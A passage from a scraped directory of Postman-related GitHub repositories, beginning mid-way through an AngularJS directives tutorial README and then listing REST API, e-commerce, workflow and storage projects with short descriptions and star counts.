a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
zprager/mongo-express-auth-demo
auth, authentication, bcrypt, directory, express, included, mongo, route, routes, user 		Boiler plate for user authentication with bcrypt, jwt, mongo, and express from Heroku. Postman routes included in root directory. 0 stars 0 watchers 6 forks
yojji-io/metaman
alternative, builder, included, meta, native, workspace 		Postman alternative request builder (workspaces included) 2 stars 2 watchers 1 forks
rcelsom/Boat-Tracker
cloud, data, datastore, document, documentation, environment, host, hosting, included, storage, store, test, test suite 		This is a REST API using Google cloud for hosting and Google datastore for storage. API documentation and Postman test suite and environment is included 1 stars 1 watchers 0 forks
AntarSidgi/Telegram-PostMan
content, ember, form, format, included, send, user 		This bot you can send your Members post and educational content in text format from user to be included in $Channel 0 stars 0 watchers 1 forks
kt-git/docker-newman-awscli
awscli, container, docker, included, newman, official, postman newman, test 		A docker container based upon the latest official postman newman, with the awscli included as well. 0 stars 0 watchers 1 forks
DerekPlattDemo/LibraryRoom
included, json, solution 		Demo api built with .Net Core, see included Postman.json in solution for demo responses 0 stars 0 watchers 0 forks
DerekPlattDemo/RoomTracker
included, json, solution 		Demo API built with .Net Core, see included Postman.json in solution for demo responses 0 stars 0 watchers 0 forks
OlgaDery/westjet_test
included, local, locally, service, test, tests 		Spring Boot micro service with 3 REST APIs. May be deployed locally or on AWS. Postman tests included. 0 stars 0 watchers 0 forks
RusKrim/summer_project_2019
included 		a small project ( Postman included ) 0 stars 0 watchers 0 forks
xananthar/Pharmacy2U
collection, endpoint, endpoints, example, included, interface, postman collection, running, sample, setup, solution, test, tests, unit, user 		pharmacy 2U tech test solution. Please ensure the API is running on port 49516 alongside the MVC user interface. A postman collection is included with some sample invokes of endpoints on the API, and a unit tests project has been setup with an example unit test which makes use of MOQ 0 stars 0 watchers 0 forks

commerce (13 listings) (Back to Top)

bitfumes/api
commerce, source 		Create Ecommerce Restful API using Laravel API Resource 57 stars 57 watchers 62 forks
nirajgeorgian/turing-backend
backend, commerce 		Ecommerce Backend APi 1 stars 1 watchers 0 forks
truptigaonkar/ecommapi
commerce, source, version 		Ecommerce Restful API using Laravel API Resource (Laravel Version 5.6, PHP version 7.2). 0 stars 0 watchers 2 forks
commercetools/commercetools-postman-collection
collection, commerce, commercetools, example, examples, setup, tool, tools 		Collection of commercetools API examples setup on top of Postman 0 stars 0 watchers 1 forks
bigcommerce-labs/carrier-service-playground
commerce, play, playground, service, test, testing 		This is a playground app to make life easy for team to edit carriers for testing rather than using postman 0 stars 0 watchers 0 forks
Jaikangam93/restfulAPI_ecommerce_usingPOSTMAN_laravel5.7
commerce, description, ecommerce, laravel, rest, restful, script 		No description available. 0 stars 0 watchers 0 forks
AlMon/Vue-Commerce
commerce 		An e-commerce project using Vue, MongoDB, Bulma & Postman. 0 stars 0 watchers 0 forks
apoorva-chitre/e-api
application, commerce 		REST API for an E-commerce application 0 stars 0 watchers 0 forks
dncosta/postman-doc
commerce, cost, ecommerce, form, place, platform 		Moip API Documentation for marketplaces and ecommerce platforms. 0 stars 0 watchers 0 forks
Masum-Osman/eapi
commerce, powerful, site 		e-commerce site with powerful Postman ReSTFul API 0 stars 0 watchers 0 forks
rajasekhar15/https-github.com-commercetools-commercetools-postman-api-examples
commerce, commercetools, example, examples, github, http, https, tool, tools 		CommerceTools 0 stars 0 watchers 0 forks
sushildangi/omnicuris-technical-assignment-e-commerce
application, assignment, bulk, case, cases, commerce, email, list, listing, mail, operation, operations, order, orders, stock, technical 		1. CRUD operations on items 2. All items listing 3. Single & bulk ordering (Just consider the item, no. of items & email ids as params for ordering) 4. All orders Please consider all the cases like out of stock etc. while making the application. You can also add more features/APIs as suitable for you. 0 stars 0 watchers 0 forks
ysodiqakanni/ShopifyTrialStore
check, commerce, define, form, performing, progress, server, shopify, style 		This repository is based on a challenge by shopify to create an API for performing some basic CRUDs in a defined e-commerce style. Development still in progress. For review purpose, check the ProductsController, it's the most up to date. Language: C# ASP.net web API with 3 layer architecture Technologies: Entity Framework, Dependency Injection, SQL server, NUnit, Postman 0 stars 0 watchers 0 forks

retrieve (13 listings) (Back to Top)

postmanlabs/spectral-postman
demonstrate, example, retrieve, sample, spec, specification 		A sample API that retrieves constellations as an example to demonstrate features in the OpenAPI 3.0 specification. 1 stars 1 watchers 2 forks
arkhaminferno/Blockchain-BlockMiner
blockchain, browser, chai, interface, retrieve 		Implementation of Practical Blockchain Mining,A simple blockchain which can be mined, retrieved or verified using a web interface like a browser or Postman. 1 stars 1 watchers 0 forks
shelleypham/GE-Current-Hackathon-API-Tutorial
access, details, document, documentation, environment, hackathon, resource, resources, retrieve, source, token, tokens 		This documentation provides more details on how to set up the hackathon environment on Postman, retrieve Intelligent Cities and Intelligent Enterprises access tokens, and how to use those access token to retrieve resources 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
alexanderkounadis/Angular-7-CRUD
client, client side, consume, consumes, method, methods, require, required, retrieve, server 		Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. 0 stars 0 watchers 1 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
xrayin/springboot-rest-image-retriever
application, boot, current, directory, endpoint, endpoints, file, host, http, image, images, local, program, resource, resources, rest, retrieve, source, spring, spring boot, springboot, system 		A spring boot application that uses REST to retrieve an image. Images are currently saved in the directory resources/images for convenience. Best practice would be to save it to a file system. Call any of the endpoints with a program of your choice, I used Postman. e.g. GET -> http://localhost:8080/images/abcd.png 0 stars 0 watchers 1 forks
cmullins777/REST-API
course, data, database, design, model, modeling, persistence, register, retrieve, route, routes, school, test, testing, user, users, validation 		A school database where registered users can retrieve, add, update, and delete courses in the database. This project uses REST API design, Node.js, and Express to create API routes, and the Sequelize ORM for data modeling, validation, and persistence, as well as Postman for testing. 0 stars 0 watchers 0 forks
beto-aveiga/blockchain-example
blockchain, browser, chai, example, interface, retrieve 		A simple blockchain which can be mined, retrieved or verified using a web interface like a browser or Postman 0 stars 0 watchers 0 forks
paramountgroup/RESTful-API-with-Nodejs
application, blockchain, chai, city, data, developer, framework, group, host, local, per project, private, program, retrieve, submit 		Udacity Blockchain developer project RESTful Web API with Node.js Framework by Bob Ingram. This program creates a web API using Node.js framework that interacts with my private blockchain and submits and retrieves data using an application like postman or url on localhost port 8000. 0 stars 0 watchers 0 forks
alexanderkounadis/Angular-7-CRUD-WebAPI
client, client side, consume, consumes, method, methods, require, required, retrieve, server 		Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. 0 stars 0 watchers 0 forks
kjschmidt913/lab20And21
config, configure, export, exported, express, facts, file, folder, front end, function, public, random, retrieve, route, routes 		A function that will return random facts, exported from a different file. Converted the app to Express. Created routes to retrieve facts. Tested using Postman. Created a front-end for the app (added public folder, configured express app to point to the public folder). Used an AJAX call from the front end to retrieve the random facts. 0 stars 0 watchers 0 forks
Latika-bhuttan/ExpofMarshal-unmarshal
data, database, example, mars, marshal, retrieve 		this is example for retrieve data from database and marshal - unmarshal in postman 0 stars 0 watchers 0 forks

details (13 listings) (Back to Top)

adineshreddy1/SupplyChainManagementIntoBlockchain
blockchain, chai, details, developer, developers, free, front end, location, require, stat, status, system, track, tracking 		A blockchain based system which records the temperature,location and other paramaters of a shipment/consignment during shipment. Depending upon our requirements for tracking the consignment , we can keep those details into blockchain such as location,status, time,temperature and others. Looking forward for the contribution from front end developers. Please feel free to ping me. 1 stars 1 watchers 0 forks
shelleypham/GE-Current-Hackathon-API-Tutorial
access, details, document, documentation, environment, hackathon, resource, resources, retrieve, source, token, tokens 		This documentation provides more details on how to set up the hackathon environment on Postman, retrieve Intelligent Cities and Intelligent Enterprises access tokens, and how to use those access token to retrieve resources 1 stars 1 watchers 0 forks
Umang080799/CRUD-App-
action, book, books, details, form, host, local, object, objects, reading, rest, restful, route, routes, server, updating 		I made a Crud App using Node.js,Express.js and Mongoose.js. I built out a book Schema for creating,reading,updating and deleting books. Used Express Scripts to create routes that will form the basis for a restful API. Used POSTMAN to perform actions on the routes All the book details were altered as JSON objects. I created and used Google Chrome to confirm the changes made on the local host server port 8080. 1 stars 1 watchers 0 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
Mathanrajseenuvasan/stu_details_flask_postman
description, details, flask, script 		No description available. 0 stars 0 watchers 0 forks
anuragmy/eazypg
details, print 		Assignment to get details and print pdf 0 stars 0 watchers 0 forks
Dilshan97/simple-microservice
customer, details, microservice, mobile, order, phone, place, require, required, retail, service, store 		ABC Company has started with a small mobile phone retail store in Colombo. It is required to capture order details and provide unique identifier for the customer for the order that is placed from the store front 0 stars 0 watchers 0 forks
jarunswe/employee
details, employee, runs 		Staff details create,update,view and delete through postman 0 stars 0 watchers 0 forks
patelayush/Group-Messaging
assignment, auth, authentication, connection, details, file, header, login, message, messages, returned, token 		In this assignment you will get familiar with using with HTTP connections, authentication, and implement an app to share messages. The API details are provided in the Postman file that is provided with this assignment. For authentication you need to pass the token returned from login api as part of the header as described in the Postman file. 0 stars 0 watchers 0 forks
Sagar-D/postman2xlsx
collection, details, json, postman collection, xlsx 		Export Request and response details from postman collection json to csv 0 stars 0 watchers 0 forks
santoshsingh1056/RetailManagerUsingRESTful
client, details, endpoint 		A Retail Manager (using a RESTful client e.g. Chrome's Postman), can post a JSON payload to a shops endpoint containing details of the shop they want to add. 0 stars 0 watchers 0 forks
shubhamjadon/SampleSingleRequestRun
details, file, files, inside, sample, single, test 		This repository contains all the files used to test sample single request run feature and details of changes made inside postman repository to add the feature 0 stars 0 watchers 0 forks
Srinu3366/Transport-Objects-Collection
collection, details, object, transport 		Postman collection to get transport object details 0 stars 0 watchers 0 forks

workflow (12 listings) (Back to Top)

vdespa/postman-advanced-workflow-example
advance, advanced, description, example, script, workflow 		No description available. 1 stars 1 watchers 1 forks
0xHiteshPatel/f5-postman-workflows
common, complex, extension, function, functions, intended, workflow 		This extension is intended to be used with Postman. The purpose of this extension is to implement common functions that simplify building Collections that implement complex workflows 0 stars 0 watchers 3 forks
buulam/bootstrap-bigip-via-iworkflow
bigip, boot, collection, config, configuration, environment, progress, variable, variables, workflow 		Work in progress - Postman collection with environment variables for bootstrapping a new BIG-IP with blank configuration via iWorkflow 0 stars 0 watchers 0 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
guys1444/node.js-socialNetwork
action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow 		socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK 0 stars 0 watchers 0 forks
anuragashok/postman-multiple-workflows
collection, multiple, postman collection, workaround, workflow 		A workaround to have multiple simple workflows in a postman collection 0 stars 0 watchers 0 forks
bobend212/WebAPI-Project-Designer
learn, struct, structure, workflow 		API created to learn and become familiar with .Net Core API structure and Swagger/Postman workflow. 0 stars 0 watchers 0 forks
foxy-the-web/postman-workflows
collection, runs, workflow 		Scripts to control collection runs in postman. 0 stars 0 watchers 0 forks
Luke984/PostmanSetUpCollectionWorkFlow
boiler, boilerplate, collection, workflow 		A boilerplate for manage workflow in a collection of Postman 0 stars 0 watchers 0 forks
nikoheikkila/newman-example
development, example, newman, test, workflow 		Simple test project to demo TDD workflow in API development with Postman. 0 stars 0 watchers 0 forks
NoorKanana/API-workflows-with-Trello
method, workflow 		with using method postman.setNextRequest() create a simple workflows in Trello 0 stars 0 watchers 0 forks
npearce/iclx_postman_workflows
collection, collections, extension, extensions, workflow 		Calling POSTMAN collections from iControlLX extensions 0 stars 0 watchers 0 forks

storage (12 listings) (Back to Top)

Massad/gin-boilerplate
boiler, boilerplate, data, database, default, fastest, lang, rest, restful, skeleton, starter, storage, struct, structure, test 		The fastest way to deploy a (skeleton) restful api’s with Golang - Gin Framework with a structured starter project that defaults to PostgreSQL database and Redis as the session storage. 0 stars 0 watchers 65 forks
kamranayub/azure-storage-rest-postman
azure, collection, rest, storage 		Postman collection to sign requests to Azure Storage Management REST API 0 stars 0 watchers 11 forks
cermegno/Project-Vision
collection, collections, product, products, storage 		Project Vision - Postman collections for DellEMC's block storage products 1 stars 1 watchers 1 forks
markande98/Friendbook-Socialmedia-App--server-side-
backend, book, cloud, firebase, media, server, social, storage 		This is social media app. I am using firebase (cloud storage), postman here for the backend. 1 stars 1 watchers 0 forks
rcelsom/Boat-Tracker
cloud, data, datastore, document, documentation, environment, host, hosting, included, storage, store, test, test suite 		This is a REST API using Google cloud for hosting and Google datastore for storage. API documentation and Postman test suite and environment is included 1 stars 1 watchers 0 forks
nuzil/magento-postman
agent, collection, collections, magento, storage 		This Repo is a storage of Postman collections for Magento 0 stars 0 watchers 2 forks
Detzy/03_storage
data, database, express, metrics, storage, store 		Nodejs app that can store metrics to a LevelDB-database, using express. Communicates mainly through postman. 0 stars 0 watchers 0 forks
hairchinh/postman-pro-github-
data, future, github, projects, resource, source, storage 		postman pro github . Postman data github resource storage: applied to projects across space & time back to the past of the future 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks
maxckelly/expressBookApp
attempt, book, books, express, storage, store 		This is my attempt at a basic express book app. It allows you to create a book, store it in a JSON storage. NOTE: The books are created through postman, not on the web. 0 stars 0 watchers 0 forks
rashidmajeed/dotnetcore-postgresql
api blueprint, asyncapi, backend, consume, dotnet, endpoint, endpoints, json schema, oauth, openid, postgres, postgresql, sql, storage, test, tested, webapi 		c#.netcore 2.1 is for backend webapi and for storage postgresql is used. Web api is exposed as endpoints and are tested by postman. Frontend will be soon availabe to consume web api's 0 stars 0 watchers 0 forks
waghmaredb/Dellemc-storage-RESTAPI
collection, product, products, storage 		Postman collection for DellEMC products 0 stars 0 watchers 0 forks

active (12 listings) (Back to Top)

fullstorydev/grpcui
active, fullstory, grpc, interactive, lines 		An interactive web UI for gRPC, along the lines of postman 701 stars 701 watchers 57 forks
mertceyhan/Postman
active, library, react, reactive 		Postman is a reactive One-tap SMS verification library. This library allows the usage of RxJava with The SMS User Consent API 109 stars 109 watchers 7 forks
sn0112358/Angular-Directive-Project
